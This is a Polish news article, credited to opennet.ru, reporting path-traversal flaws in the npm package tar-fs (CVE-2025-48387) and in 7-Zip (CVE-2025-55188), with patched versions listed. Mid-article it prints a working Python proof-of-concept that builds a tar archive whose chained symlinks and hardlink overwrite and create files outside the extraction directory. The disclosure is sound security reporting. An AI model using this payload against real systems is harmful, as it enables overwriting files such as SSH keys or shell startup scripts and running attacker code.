Luki w tar-fs i 7-Zip, umożliwiające zapisanie plików poza podstawowym katalogiem

W pakiecie NPM tar-fs wykryto podatność (CVE-2025-48387), która pozwala na zapis plików w dowolnych częściach systemu plików podczas rozpakowywania specjalnie przygotowanego archiwum tar, bez ograniczeń do katalogu, w którym odbywa się rozpakowywanie (w zależności od uprawnień bieżącego użytkownika). Podatność ta może również być używana do nadpisywania istniejących plików, na przykład pliki „.ssh/id_rsa” lub „.bashrc” w katalogu domowym użytkownika mogą być nadpisane, co umożliwia wykonanie własnego kodu w systemie.

Problemowi przypisano krytyczny poziom niebezpieczeństwa, biorąc pod uwagę, że pakiet tar-fs ma 23 miliony pobrań tygodniowo i jest używany jako zależność w 1155 projektach. Podatność została usunięta w wydaniach 3.0.9, 2.1.3 i 1.16.5, które zostały wydane w maju, ale informacja o podatności została ujawniona dopiero po prawie 3 miesiącach.

Podatność jest spowodowana niewystarczającymi kontrolami symbolicznymi i twardymi linkami w archiwum, które sprawdzają ich wyjście poza docelowy katalog do rozpakowywania. Aby obejść te kontrole, używane są dwa symbole: pierwszy wskazuje na główny katalog rozpakowywania archiwum („.”), a drugi jest tworzony w odniesieniu do pierwszego sygnału i używa w swojej nazwie znaków „../”, aby wyjść poza podstawowy katalog. Na przykład pierwszy link „noop/noop/noop” wskazuje na „.”, a drugi „noop/noop/noop/../../../..” rozwija się jako „./../../../..”. Aby umożliwić nadpisywanie plików w archiwum, można utworzyć twardy link, który odnosi się do zewnętrznego pliku w odniesieniu do drugiego sygnału. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Podobna luka (CVE-2025-55188) została wykryta w archiwizerze 7-Zip. Do zapisywania plików poza katalogiem podstawowym w 7-Zip można również wykorzystać dowiązania symboliczne z sekwencją „..\/” w ścieżce pliku. Problem może być wykorzystywany podczas rozpakowywania dowolnych archiwów przez 7-Zip, które obsługują dowiązania symboliczne, takich jak zip, tar, 7z i rar. Problem został rozwiązany w wersji 7-Zip 25.01.

Źródło: opennet.ru

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster